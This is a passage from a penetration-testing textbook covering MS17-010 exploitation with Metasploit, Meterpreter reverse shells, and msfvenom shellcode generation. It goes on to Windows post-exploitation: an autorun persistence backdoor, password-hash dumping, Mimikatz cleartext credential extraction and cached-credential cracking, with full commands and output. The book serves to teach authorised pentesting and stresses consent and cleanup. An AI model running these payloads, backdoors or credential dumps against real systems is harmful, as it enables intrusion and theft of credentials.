prompt: one that contains a built-in upload/download capability as well as an array of other useful features. I’m talking, of course, about the awesome Meterpreter shell from Metasploit. Typing exit from the Windows command prompt will kill your reverse shell and place you back in the msfconsole. Your access to the vulnerable target is now gone. If you needed to access the system again, you would have to rerun the exploit. Running an exploit too many times is not advised as it can sometimes cause systems to crash— and I’m sure you can imagine how excited clients are when that happens. Just for illus- tration, run the exploit one more time, but specify a Meterpreter reverse shell payload by typing set payload windows/x64/meterpreter/reverse_https and then running the exploit command again. msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows/x64/meterpreter/reverse_https payload => windows/x64/meterpreter/reverse_https msf5 exploit(windows/smb/ms17_010_psexec) > exploit [*] Started HTTPS reverse handler on https://10.0.10.160:8443 [*] 10.0.10.208:445 - Target OS: Windows 7 Professional 7601 Service Pack 1 Listing 7.4 Getting a Meterpreter shell 126 CHAPTER 7 Attacking unpatched services [*] 10.0.10.208:445 - Built a write-what-where primitive... [+] 10.0.10.208:445 - Overwrite complete... SYSTEM session obtained! [*] 10.0.10.208:445 - Selecting PowerShell target [*] 10.0.10.208:445 - Executing the payload... [+] 10.0.10.208:445 - Service start timed out, OK if running a command or non-service executable... [*] https://10.0.10.160:8443 handling request from 10.0.10.208; (UUID: fv1vv10x) Staging x64 payload (207449 bytes) ... [*] Meterpreter session 3 opened (10.0.10.160:8443 -> 10.0.10.208:49416) at 2019-10-09 11:41:05 -0500 meterpreter > This should look familiar from the last time you ran the exploit, with one key differ- ence: instead of a Windows command prompt, you should be looking at what’s called a Meterpreter session or Meterpreter shell. The Meterpreter payload was originally developed for Metasploit 2.0 and remains a popular reverse shell payload for hackers and pentest- ers alike. For an overwhelming introduction to the Meterpreter shell’s many features, type the help command, and several screen lengths of commands will scroll by. NOTE Be sure to add the Meterpreter shell to your engagement notes. It is an initial compromise and a shell connection, which you will need to be destroy properly during post-engagement cleanup. meterpreter > help Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bg Alias for background bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background channel Displays information or control active close Closes a channel detach Detach the meterpreter session disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit Terminate the meterpreter session get_timeouts Get the current session timeout values guid Get the session GUID help Help menu info Displays information about a Post module irb Open an interactive Ruby shell on the current Listing 7.5 The Meterpreter help screen 127 The Meterpreter shell payload *** [OUTPUT TRIMMED] *** Priv: Password database Commands ================================ Command Description ------- ----------- hashdump Dumps the contents of the SAM database Priv: Timestomp Commands ======================== Command Description ------- ----------- timestomp Manipulate file MACE attributes meterpreter > Learning all of these features (or even most of them) is not necessary, but if it suits you, I can recommend two awesome resources for diving deeper into the Meterpreter shell than we do in this chapter. The first is the Metasploit Unleashed documentation from Offensive Security, which is very detailed: http://mng.bz/emKQ. The second is a great book called Metasploit: The Penetration Tester’s Guide—specifically, chapter 6, “Meter- preter” (David Kennedy, Jim O’Gorman, Devon Kearns, and Mati Aharoni; No Starch Press, 2011). 7.4.1 Useful Meterpreter commands Now that you have a Meterpreter shell, what should you do first? When you get on a new target, you should ask yourself, “What types of applications are running on this system? What does the company use this system for? What users in the company are currently using this system?” It turns out you can answer all three questions by using the ps command, which works similarly to the Linux/UNIX ps command and lists all the processes running on the affected target: meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System x64 0 252 4 smss.exe x64 0 NT AUTHORITY\SYSTEM Listing 7.6 Typical output from the ps Meterpreter command 128 CHAPTER 7 Attacking unpatched services \SystemRoot\System32\smss.exe 272 460 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM *** [OUTPUT TRIMMED] *** 2104 332 rdpclip.exe x64 2 CAPSULECORP\tien C:\Windows\system32\rdpclip.exe 2416 1144 userinit.exe x64 2 CAPSULECORP\tien C:\Windows\system32\userinit.exe 2428 848 dwm.exe x64 2 CAPSULECORP\tien C:\Windows\system32\Dwm.exe 2452 2416 explorer.exe x64 2 CAPSULECORP\tien C:\Windows\Explorer.EXE 2624 2452 tvnserver.exe x64 2 CAPSULECORP\tien C:\Program Files\TightVNC\tvnserver.exe 2696 784 audiodg.exe x64 0 2844 1012 SearchProtocolHost.exe x64 2 CAPSULECORP\tien C:\Windows\system32\SearchProtocolHost.exe 2864 1012 SearchFilterHost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\SearchFilterHost.exe meterpreter > From this output, you can see that not much other than default Windows processes are running on this host, with the exception of a TightVNC server running as process ID (PID) 2624. Interestingly, you’ll also notice that there appears to be an Active Directory user named tien logged in to this system. This is obvious from the processes running as CAPSULECORP\tien. PID 2104 is named rdpclip.exe and is running as the CAPSULECORP\tien user. That tells us that this user account is logged in remotely via Windows RDP. It may be possible to obtain the user’s Active Directory domain creden- tials using this Meterpreter session. Let’s put a pin in that for now and come back to it later; I want to show you a few more tricks you can do with your Meterpreter shell. To achieve code execution via Meterpreter, simply type the shell command, and you’ll be dropped into an OS command prompt. This is useful, of course, but it may not seem exciting because you already had command execution via the reverse TCP shell. That’s fine; I just wanted to show you how to do it. You can type exit to termi- nate the command shell, but this time you’re been placed back into your Meterpreter shell: meterpreter > shell Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>exit exit meterpreter > The fact that you can enter into a shell, back out of it, and re-enter again without los- ing connectivity to your target is enough to make the Meterpreter shell one of my favorite payloads. And you can do a lot more with a Meterpreter shell that isn’t accessi- ble with a simple command shell. Remember those local user account password Windows RDP process running as a domain user This server is running TightVNC, a non-standard Windows service. 129 The Meterpreter shell payload hashes from the database server? You need to grab those from this system as well, and you can do so using what’s called a Meterpreter post module. DEFINITION In the next chapter, you learn a lot more about post exploitation: things an attacker does on a compromised system after it has been compro- mised. Post modules are Metasploit modules that you can use once you have obtained a Meterpreter shell connection to a compromised target. As the name suggests, they are used during post exploitation. At the time of writing this chapter, Metasploit has over 300 post modules, so there is likely to be one for just about any scenario you can think of. To run a post module, type the run command followed by the path of the module. For example, run post/ windows/gather/smart_hashdump runs the smart_hashdump module. One of the great things about this post module is that it automatically stores the hashes in the MSF data- base if you have configured the database according to the instructions in appendix A, section A.5.3. It also stores them in a .txt file located in the ~/.msf4 directory. meterpreter > run post/windows/gather/smart_hashdump [*] Running module against TIEN [*] Hashes will be saved to the database if one is connected. [+] Hashes will be saved in loot in JtR password file format to: [*] /~/.msf4/loot21522_default_10.0.10.208windows.hashes_755293.txt [*] Dumping password hashes... [*] Running as SYSTEM extracting hashes from registry [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 5a7039b3d33a1e2003c19df086ccea8d [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... [+] tien:"Bookstack" [*] Dumping password hashes... [+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d e0c089c0::: [+] HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:6769dd01f1f8b61924785 de2d467a41::: meterpreter > In the next chapter, you’ll see just how useful these Windows account password hashes can be for gaining access to additional systems. I refer to these as level-two targets because they were not accessible before—the vulnerabilty-discovery phase didn’t yield any low-hanging-fruit for these specific hosts. In my experience, once you get to level two on an INPT, it’s not long until you can take over the entire network. Before wrapping up Listing 7.7 Using the smart_hashdump post module Hostname of the system against which you’re running the module Location of the file in which your hashes will be stored Sometimes system administrators put useful information in the password hint. 130 CHAPTER 7 Attacking unpatched services this chapter, I want to briefly cover the public exploit database, which is another useful resource outside of the Metasploit framework where you can sometimes find working exploits to compromise targets in your engagement scope. 7.5 Cautions about the public exploit database You have already heard about the public exploit database, exploit-db.com; we talked about it a little in section 4.2. There you will find thousands of proof-of-concept exploits for publically disclosed vulnerabilities. These exploits vary in complexity and reliability and are not as regulated and quality-tested as exploit modules you’ll find in the Metasploit framework. You may find exploits with broken or even malicious shell- code on websites like this. For that reason, you should be extremely cautious about using anything you down- load from exploit-db.com on your INPT. In fact, I advise against using exploit-db.com unless you feel confident enough to read the source code and understand what it is doing. Additionally, you should never trust the shellcode portion of the exploit: this is the hexadecimal machine language instructions that spawn your reverse shell once you trigger the exploit. If you must use an exploit from exploit-db.com to penetrate a vulnerable target, then you absolutely have to understand how to replace the shell- code with your own. The following subsection explains how to do it. NOTE This book does not attempt to cover all the ins and outs of software exploitation. This is intentional because in a typical INPT, you won’t have time to test and develop custom exploits. Professional pentesters are always racing against a clock set by the scope of their engagement and therefore rely on reliable field-tested frameworks such as Metasploit the majority of the time. Section 7.5 is intended to offer you a short glimpse into custom exploit scripts to pique your curiosity. If you want to learn more, the internet is full of useful information; as I mentioned earlier, I suggest you begin by reading the first hacking book I ever read: Erickson’s Hacking: The Art of Exploitation. 7.5.1 Generating custom shellcode First you need to generate the shellcode that you want to use. To accomplish this, you can use a tool called msfvenom that’s packaged in the Metasploit framework. In the MS17-010 example, we used the windows/x64/meterpreter/reverse_https payload Exercise 7.1: Compromising tien.capsulecorp.local Using the windows.txt file you created in exercise 3.1, sweep for targets missing the MS17-010 patch. You should discover that the tien.capsulecorp.local system is reportedly missing the patch. Use the ms17_010_eternalblue exploit module along with the meterpreter/reverse_tcp payload to exploit the vulnerable host and get a remote shell. There is a file in tien’s desktop folder called flag.txt. What is in the file? You can find the answer in appendix E. 131 Cautions about the public exploit database with our exploit. So I’ll assume you want to use the same payload to generate your cus- tom shellcode. I’m also going to assume that you have found an exploit from exploit -db.com that is written in the Python programming language and that you want to try to use it against a potentially vulnerable target. Here is how you can create custom shellcode for that exploit. Open a new terminal win- dow or, better yet, create a new tmux window by pressing CTRL-b, c, and type the following command from within the metasploit-framework/ directory: ./msfvenom -p windows/ x64/meterpreter/reverse_https LHOST=10.0.10.160 LPORT=443 --platform Windows -f python. This command will create shellcode for the reverse_https Meterpreter payload, specified to connect back to 10.0.10.160 on port 443, optimized for Windows systems, and compatible with the Python programming language. ./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.10.160 LPORT=443 --platform Windows -f python [-] No arch selected, selecting arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 673 bytes Final size of python file: 3275 bytes buf = b"" buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41" buf += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48" buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f" buf += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c" buf += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52" buf += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66" *** [OUTPUT TRIMMED] *** buf += b"\xc1\x88\x13\x00\x00\x49\xba\x44\xf0\x35\xe0\x00\x00" buf += b"\x00\x00\xff\xd5\x48\xff\xcf\x74\x02\xeb\xaa\xe8\x55" buf += b"\x00\x00\x00\x53\x59\x6a\x40\x5a\x49\x89\xd1\xc1\xe2" buf += b"\x10\x49\xc7\xc0\x00\x10\x00\x00\x49\xba\x58\xa4\x53" buf += b"\xe5\x00\x00\x00\x00\xff\xd5\x48\x93\x53\x53\x48\x89" buf += b"\xe7\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\x00\x20\x00" buf += b"\x00\x49\x89\xf9\x49\xba\x12\x96\x89\xe2\x00\x00\x00" buf += b"\x00\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb2\x66\x8b" buf += b"\x07\x48\x01\xc3\x85\xc0\x75\xd2\x58\xc3\x58\x6a\x00" buf += b"\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5" This shellcode can be trusted to return a reverse_https Meterpreter payload to the IP address you specified on the listening port you specified. Next, you find the shell- code that’s currently in the exploit you want to use and replace it with the code you just generated. For example, if you were trying to use exploit 47468 ASX to MP3 con- verter 3.1.3.7 - ‘.asx’ Local Stack Overflow (DEP) (chosen completely at random just to demonstrate the concept), you would highlight the shellcode portion of the exploit, delete it, and then replace it with the shellcode you generated using msfvenom (see figure 7.1). Listing 7.8 Generating custom shellcode with msfvenom Begin selecting shellcode. End of shellcode 132 CHAPTER 7 Attacking unpatched services Now you are free to test this exploit against your potentially vulnerable target and feel confident that if the exploit succeeds, you will get a reverse shell. Again, this section was provided merely for illustrative purposes; customizing exploit shell code is rarely something you’ll consider on a typical INPT. Summary  Exploits are computer programs written by security researchers that take advantage of unpatched software bugs and can be used to compromise vulnerable targets.  Enterprise networks often fail to patch 100% of their computer systems due to poor asset management and a lack of visibility into all of the computer systems connected to the network.  MS17-010 was the tenth security update to be released by Microsoft in the year 2017 and was codenamed Eternal Blue. If a system is missing this patch, it’s easy to find and is considered a quick win for a pentester.  The Meterpreter shell is a much more robust payload than a standard Windows command shell and offers additional functionality such as post modules, which can be used to assist during an INPT.  Using exploits from exploit-db.com can be risky. Be sure you know what you are doing, and always generate your own shellcode to replace what’s in the public exploit. Replace with your shellcode Figure 7.1 Shellcode section of exploit 47468 Phase 3 Post-exploitation and privilege escalation Having established access into your target network environment by com- promising vulnerable hosts, it’s time to reach the next level. This part of the book is all about what network attackers do after they’ve compromised a target system. In chapter 8, you’ll learn the critical components of post-exploitation, includ- ing how to maintain reliable entry, harvest credentials, and move laterally. This chapter focuses specifically on Windows techniques. Chapter 9 covers the same post-exploitation key components but on Linux systems. You’ll learn where to search for sensitive information, including configuration files and user prefer- ences, and also how to set up an automated reverse-shell callback job using crontab. Finally, in chapter 10, you’ll elevate your access to that of a domain admin user. Once you have access to the domain controller, you can browse volume shadow copies for protected files. You’ll learn how to obtain privileged creden- tials from Windows by exporting all of the Active Directory password hashes from the ntds.dit file. When you are finished with this part of the book, you will have completely taken control of your target enterprise network environment. 135 Windows post-exploitation Now that our movie heist crew has successfully broken into or penetrated several areas of their target facility, it’s time for them to move on to the next phase of their engagement. Smash into the vault room, grab the jewels, and run? No, not quite yet. That would cause a lot of commotion, and they would probably get caught. Their plan instead is to blend in with the workers at the facility and slowly remove incrementally larger amounts of loot without arousing suspicions before eventually disappearing without a trace. At least, that’s the best-case scenario they are hoping for. In a movie, they will most likely make a mistake eventually for the sake of plot thickness. This chapter covers  Maintaining persistent Meterpreter access  Harvesting domain-cached credentials  Extracting clear-text credentials from memory  Searching the filesystem for credentials in configuration files  Using Pass-the-Hash to move laterally 136 CHAPTER 8 Windows post-exploitation Nonetheless, the next thing they need to concern themselves with is how to move freely throughout the compound and come and go as they please. They might steal uniforms from a supply closet so they look the part, create fake employee records in the company database, and maybe even print out working badges, assuming they have that level of access. This scenario is similar to post-exploitation on a pentest—which is exactly what we’re going to discuss in this chapter, starting with Windows systems. Windows systems are extremely common in enterprise networks due to their popu- larity among IT professionals and system administrators. In this chapter, you’ll learn all about post-exploitation on Windows systems, what to do after you’ve compromised a vulnerable target, and how you can use the access you’ve obtained to further elevate your access on the network and eventually take control of the entire network. 8.1 Fundamental post-exploitation objectives Post-exploitation takes place after compromise. You’ve managed to penetrate a target sys- tem by using a discovered vulnerable attack vector, so what do you do now? Depending on how specific you want to get, the answer can vary significantly based on your engage- ment’s scope. But there are a few fundamental objectives that you’ll want to accomplish during most engagements. I’m of the opinion that any post-exploitation activity falls under the umbrella of one of three high-level categories illustrated in figure 8.1:  Maintaining reliable re-entry  Harvesting credentials  Moving laterally C. Repeat password guessing using discovered credentials to unlock access to level-2 targets. B. Locate clear-text and hashed credentials from all level-1 targets. A. Establish a persistent meterpreter that automatically connects back if the session dies. Level 2: Newly accessible targets Move laterally Use credentials to access new targets Harvest clear-text credentials Harvest domain cached credentials Harvest local account password hashes Install persistent back-door executable Harvest credentials Maintain reliable re-entry Level 1: Compromised targets Figure 8.1 Post-exploitation workflow 137 Fundamental post-exploitation objectives 8.1.1 Maintaining reliable re-entry Presumably, the access you have obtained to your target system is through a command shell: either fully interactive, like the Meterpreter or Windows command prompt, or non-interactive, such as a web shell or database console that can run individual OS commands. From an attacker’s perspective—and you must always remember that as a pen- tester, your job is to play the role of an attacker—you want the assurance that the level of access you’ve worked hard to obtain is not easily taken from you. For example, if the service you exploited crashes or restarts, it’s possible you could lose your network connection to the Meterpreter or command shell and be unable to get it back up. Ide- ally, you’ll want a reliable way to re-enter the system if you are booted from it. In sec- tion 8.2.1, you’ll learn to set up a persistent Meterpreter session that automatically connects back to your attacking machine if the session dies or the compromised target is rebooted. 8.1.2 Harvesting credentials It is well known throughout the pentesting industry that if you can gain access to a sin- gle system, you can then gain access to other systems on that network by using creden- tials obtained from the initial system and finding other accessible hosts that share the same username and password. Three commonly targeted sets of credentials that we discuss in this chapter are as follows:  Local user account password hashes  Domain cached credentials  Clear-text configuration files with database credentials 8.1.3 Moving laterally Moving laterally, sometimes also referred to as pivoting, is the concept of going directly from one compromised host to another host that was not previously accessible. You first had to obtain something, usually a set of credentials from the first host, before you could pivot to the next. Once again, I like to use the term level-two when describing these hosts that become accessible only after you’ve compromised a level-one target. There is a good reason for this distinction. In chapter 12, you will learn about writing attack narratives that describe how you were able to move from A to Z throughout your client’s network. I’ve found that regardless of whether you divide hosts into levels in your final report, clients often draw the distinction between systems that you were able to compromise directly because there was something wrong, such as a patch missing, and systems you could access only because another host was vulnerable. Clients make this distinction because they are thinking about the remediation efforts required to fix all the issues you brought up in your pentest report. If you were able to access 5,000 computer systems, for example, but only after obtaining creden- tials from a few that had vulnerabilities, the client might argue that if they had fixed 138 CHAPTER 8 Windows post-exploitation the few level-one systems, you wouldn’t have been able to access the 5,000 level-two sys- tems. This is problematic because even if you secure the initial level-one systems that were discovered during an INPT, there is no guarantee that there aren’t additional level-one systems the pentest didn’t find. There is also no guarantee that a new level- one system with a default password won’t be deployed to the network tomorrow or next week or next month. Be patient when explaining this to clients because it will likely come up often, at least if you follow the career path of a professional penetra- tion tester (a consultant). 8.2 Maintaining reliable re-entry with Meterpreter Suppose for a second that the Meterpreter shell you have access to was gained by exploiting a vulnerability that presented itself only one time—for example, a user on your target system happened to be using a vulnerable application that you identified and exploited. Then the system rebooted, and you lost your Meterpreter shell. When the system came back up, the user was done with the vulnerable application, and you no longer had an avenue of attack. I can assure you from personal experience this is every bit as frustrating as it sounds. Or, if it’s easier to picture, imagine that our movie heist crew gained access to a restricted area after finding an employee keycard lying around. They used the keycard to enter the restricted area briefly and then left (let’s say they heard a noise), intend- ing to return in a few hours. Unfortunately, when they came back, the keycard had been deactivated because the employee reported it lost. Maintaining reliable re-entry is all about making sure you can freely come and go as you please once you have estab- lished access to a compromised level-one target. This is why one of the first objectives you should focus on during post-exploitation is maintaining persistent re-entry into compromised targets. You may have a shell now, but there is no telling how long it will last, so you should be concerned with securing your ability to get back into your compromised target at will. Metasploit comes with a handy persistence script that can be used to facilitate this objective effectively. There are multiple ways of thinking about persistent re-entry, and I’m going to demonstrate the most straightforward but not necessarily the stealthiest approach. (That’s OK because we are performing a network pentest, not a red team exercise.) With this method, you install an executable binary Meterpreter backdoor on the com- promised host that will autorun each time the system boots. You can achieve this with the run persistence command and the command arguments listed in table 8.1. Table 8.1 Persistent Meterpreter command arguments Command argument Purpose -A Automatically starts a Metasploit listener on your attacking machine -L c:\\ Writes the payload to the root of c:\ (two \\ for Ruby’s sake) -X Installs the payload to an autorun registry key, which runs at boot 139 Maintaining reliable re-entry with Meterpreter 8.2.1 Installing a Meterpreter autorun backdoor executable Set up your Meterpreter autorun backdoor executable from the Meterpreter prompt of a comprised Windows target by running the following command: meterpreter > run persistence -A -L c:\\ -X -i 30 -p 8443 -r 10.0.10.160 You can see from the output shown in listing 8.1 that Metasploit created a randomly generated file called VyTsDWgmg.vbs, which contains VBScript to launch your Meter- preter payload, and placed it in the root of the C drive as you told it to. Additionally, you can see that a new Meterpreter session has been opened for you. [*] Running Persistence Script [*] Resource file for cleanup created at .msf4/logs/persistence/TIEN_20191128.3107/TIEN_20191128.3107.rc [*] Payload=windows/meterpreter/reverse_tcp LHOST=10.0.10.160 LPORT=8443 [*] Persistent agent script is 99602 bytes long [+] Persistent Script written to c:\VyTsDWgmg.vbs [*] Starting connection handler at port 8443 [+] exploit/multi/handler started! [*] Executing script c:\VyTsDWgmg.vbs [+] Agent executed with PID 260 [*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\jDPSuELsEhY [+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\jDPSuELsEhY meterpreter > [*] Meterpreter session 2 opened (10.0.10.160:8443 -> 10.0.10.208:50764) at 2019-11-28 08:31:08 -0600 meterpreter > Now that the Meterpreter autorun backdoor executable is installed and configured to autorun at boot time, your attacking machine will receive a connection from a new Meterpreter session every time the backdoored system reboots. I would never reboot a server on a client’s production network without their explicit consent, but for the sake of illustration, I’ll show you what happens when I manually reboot this target host. As you can see from the output in listing 8.2, a few moments after I issue the reboot com- mand, which results in a stale Meterpreter session, the system comes back online. I now have a new Meterpreter session, which was executed via the autorun backdoor executable. -i 30 Tells the payload to attempt a connection every 30 seconds -p 8443 Tells the payload to attempt connections on port 8443 -r 10.0.10.160 Tells the payload what IP address to attempt to connect to Listing 8.1 Installing the Meterpreter autorun backdoor executable Table 8.1 Persistent Meterpreter command arguments (continued) Command argument Purpose An extremely important cleanup file New Meterpreter session that opened automatically for you 140 CHAPTER 8 Windows post-exploitation meterpreter > reboot Rebooting... meterpreter > background [*] Backgrounding session 1... msf5 exploit(windows/smb/ms17_010_psexec) > [*] Meterpreter session 3 opened (10.0.10.160:8443 -> 10.0.10.208)at 2019-11-28 08:39:29-0600 msf5 exploit(windows/smb/ms17_010_psexec) > sessions -i 3 [*] Starting interaction with 3... meterpreter > dir c:\\ Listing: c:\ ============ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 4096 dir 2009-07-13 22:18:56 -0500 $Recycle.Bin 40777/rwxrwxrwx 0 dir 2009-07-14 00:08:56 -0500 Documents and Settings 40777/rwxrwxrwx 0 dir 2019-05-06 13:37:51 -0500 Domain Share 40777/rwxrwxrwx 0 dir 2009-07-13 22:20:08 -0500 PerfLogs 40555/r-xr-xr-x 4096 dir 2009-07-13 22:20:08 -0500 Program Files 40555/r-xr-xr-x 4096 dir 2009-07-13 22:20:08 -0500 Program Files (x86) 40777/rwxrwxrwx 4096 dir 2009-07-13 22:20:08 -0500 ProgramData 40777/rwxrwxrwx 0 dir 2019-05-06 14:26:17 -0500 Recovery 40777/rwxrwxrwx 12288 dir 2019-05-06 15:05:31 -0500 System Volume Information 40555/r-xr-xr-x 4096 dir 2009-07-13 22:20:08 -0500 Users 40777/rwxrwxrwx 16384 dir 2009-07-13 22:20:08 -0500 Windows 100666/rw-rw-rw- 99709 fil 2019-11-28 08:35:31 -0600 VyTsDWgmg.vbs Listing 8.2 Reestablishing Meterpreter access automatically after system reboot A new Meterpreter session opens automatically after the system reboots. VBScript file containing the Meterpreter backdoor Cleaning up using Metasploit .rc files As always, anytime you write a file to a system on your client’s network, you need to take detailed notes so you can clean up after yourself. You don’t want your client’s computers arbitrarily calling out to random IP addresses after your pentest is over and you’ve left. The importance of keeping detailed records of all file drops cannot be overstated. 141 Harvesting credentials with Mimikatz 8.3 Harvesting credentials with Mimikatz If you haven’t noticed already, hackers and pentesters like to pick on Microsoft Win- dows systems. It’s nothing personal; there just seem to be more inherent security flaws in the OS’s design. Unless your client’s Windows system administrators have taken proper precautions, you can probably obtain clear-text passwords directly from the vir- tual memory space of a compromised Windows target. This is possible, again, because of another flaw in the design of the Windows OS. This one is a bit more complex. The short version is that a process called the Local Security Authority Subsystem Service (LSASS) runs on Windows systems and by design requires the ability to retrieve an active user’s clear-text password. When a user logs in to a Windows system, a function in the lsass.exe process stores their clear-text pass- word in memory. A wise sorcerer named Benjamin Delpy researched this design flaw extensively and created a powerful framework called Mimikatz that can be used to extract clear-text passwords directly from the virtual memory space of a compromised Windows target. Mimikatz was initially a standalone binary application; but as you can imagine, due to its incredible usefulness, it has been adopted into dozens of pentesting tools. Metasploit and CME are no exception. NOTE If you want to learn all about the inner technical workings of Mimikatz, how it works, and what it does, I suggest you start with Benjamin’s blog http:// blog.gentilkiwi.com/mimikatz (which is written in French, by the way). 8.3.1 Using the Meterpreter extension The Mimikatz extension can be loaded into any active Meterpreter session by typing the command load mimikatz at the Meterpreter prompt. Once the extension is loaded, you can type help mimikatz to see which commands are available. The cleanup file created for you earlier contains all the necessary commands to restore the compromised target to its original state. The file TIEN_20191128. 3107.rc is what Metasploit calls a resource file and can be run with the command resource file.rc. Before running the file blindly, let’s take a look at what it’s doing. I’ll first change into the ./msf4/logs/persistence/TIEN_20191128/ directory and then examine the con- tents of the file. It contains only two commands: the first deletes the VBScript exe- cutable, and the second deletes the registry key created to autorun the script. Be sure you do this before the engagement is over: rm c://VyTsDWgmg.vbs reg deleteval -k 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' ➥ -v jDPSuELsEhY 142 CHAPTER 8 Windows post-exploitation Loading extension mimikatz...[!] Loaded Mimikatz on a newer OS (Windows 7 (6.1 Build 7601, Service Pack 1).). Did you mean to 'load kiwi' instead? Success. meterpreter > help mimikatz Mimikatz Commands ================= Command Description ------- ----------- kerberos Attempt to retrieve kerberos creds. livessp Attempt to retrieve livessp creds. mimikatz_command Run a custom command. msv Attempt to retrieve msv creds (hashes). ssp Attempt to retrieve ssp creds. tspkg Attempt to retrieve tspkg creds. wdigest Attempt to retrieve wdigest creds. meterpreter > Most of these commands attempt to retrieve clear-text credentials from memory using various methods. The mimikatz_command option can be used to interface directly with the Mimikatz binary. I find that the tspkg and wdigest commands are all I need most of the time. Of course, that’s just what works for me; it doesn’t hurt to try the other options. Run the following command: meterpreter > tspkg [+] Running as SYSTEM [*] Retrieving tspkg credentials tspkg credentials ================= AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;997 Negotiate NT AUTHORITY LOCAL SERVICE 0;44757 NTLM 0;999 Negotiate CAPSULECORP TIEN$ 0;17377014 Kerberos CAPSULECORP tien Password82$ 0;17376988 Kerberos CAPSULECORP tien Password82$ 0;996 Negotiate CAPSULECORP TIEN$ n.s. (SuppCred KO) / meterpreter > This technique requires an active user to have recently logged in to the compromised system so their credentials are stored in memory. This won’t do you any good if you Listing 8.3 Loading the Mimikatz Meterpreter extension Listing 8.4 Retrieving tspkg credentials with Mimikatz Options that I use most often Clear-text credentials extracted for the domain user CAPSULECORP\tien 143 Harvesting domain cached credentials are on a system that doesn’t have any active or recent user sessions. If running the Mimikatz extension doesn’t bear any fruit, all is not yet lost. It may be possible to obtain cached credentials from users who have logged in to the system in the past. 8.4 Harvesting domain cached credentials Another useful Windows feature that is often exploited by attackers is Windows’ ability to store cached credentials locally for domain accounts. These cached credentials are hashed using a hashing function separate from NTLM: mscache or mscache2 for older and newer versions of Windows, respectively. The idea behind caching credentials makes sense from a usability point of view. Suppose you are an IT administrator, and you have to support users who take their computers home after work. When your users open their laptops at home, they are not connected to the corporate domain controller and can’t authenticate using domain credentials. Of course, the appropriate way to solve this challenge would be to set up a virtual private network (VPN), but that’s a topic for another discussion. An alternative solution is to implement domain cached credentials. The folks at Microsoft opted to allow Windows systems to store the mscache or mscache2 hashed version of domain users’ passwords locally. This way, an employee working remotely can log in to their workstation even if it isn’t connected to the cor- porate network using Active Directory credentials. These cached domain account password hashes are stored similarly to local account password hashes in a Windows registry hive. The SECURITY hive keeps track of a fixed number of cached user accounts, as specified in the CachedLogonsCount registry key located in the HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon key. You can check out this Windows Docs page for more information about registry hives: http://mng.bz/EEao. 8.4.1 Using the Meterpreter post module Just as with local user account password hashes, Metasploit has a post module called post/windows/gather/cachedump that can be used in an active Meterpreter session. Type the command run post/windows/gather/cachedump to use the post module to extract domain cached credentials from a compromised host. meterpreter > run post/windows/gather/cachedump [*] Executing module against TIEN [*] Cached Credentials Setting: - (Max is 50 and 0 default) [*] Obtaining boot key... [*] Obtaining Lsa key... [*] Vista or above system [*] Obtaining NL$KM... [*] Dumping cached credentials... [*] Hash are in MSCACHE_VISTA format. (mscash2) Listing 8.5 Harvesting domain cached credentials 144 CHAPTER 8 Windows post-exploitation [+] MSCACHE v2 saved in: /home/royce/.msf4/loot/20191120122849_default_mscache2.creds_608511.txt [*] John the Ripper format: # mscash2 tien:$DCC2$10240#tien#6aaafd3e0fd1c87bfdc734158e70386c:: meterpreter > Table 8.2 outlines all of the important pieces of information displayed by the cached- ump post module. 8.4.2 Cracking cached credentials with John the Ripper Unfortunately, we can’t use the Pass-the-Hash technique with cached domain hashes due to how remote authentication works in Windows. These hashes are still useful, though, because we can crack them using a password-cracking tool. In this section we’ll use a simple password cracking tool called John the Ripper. If you’ve never learned about password cracking, it’s actually a straightforward pro- cess. You start with an encrypted or hashed password that you want to crack. You then provide a list of words called a dictionary and tell your password-cracking program to hash or encrypt each word and compare it to the value you’re trying to break. When the two values match, you know you’ve successfully cracked the password. To install John the Ripper, grab the latest source code from GitHub with git clone https://github .com/magnumripper/JohnTheRipper.git. Change into the src directory, and run ./configure to prepare the source. After that completes, run make -s clean && make -sj4 to compile the binaries. git clone https://github.com/magnumripper/JohnTheRipper.git Cloning into 'JohnTheRipper'... remote: Enumerating objects: 18, done. remote: Counting objects: 100% (18/18), done. remote: Compressing objects: 100% (17/17), done. remote: Total 91168 (delta 2), reused 4 (delta 1), pack-reused 91150 Receiving objects: 100% (91168/91168), 113.92 MiB | 25.94 MiB/s, done. Table 8.2 Domain cached credential components Represented value Example from listing 8.5 Username tien Type of hash (DCC or DCC2) DCC2 Active Directory UID 10240 Username tien Hashed password 6aaafd3e0fd1c87bfdc734158e70386c Listing 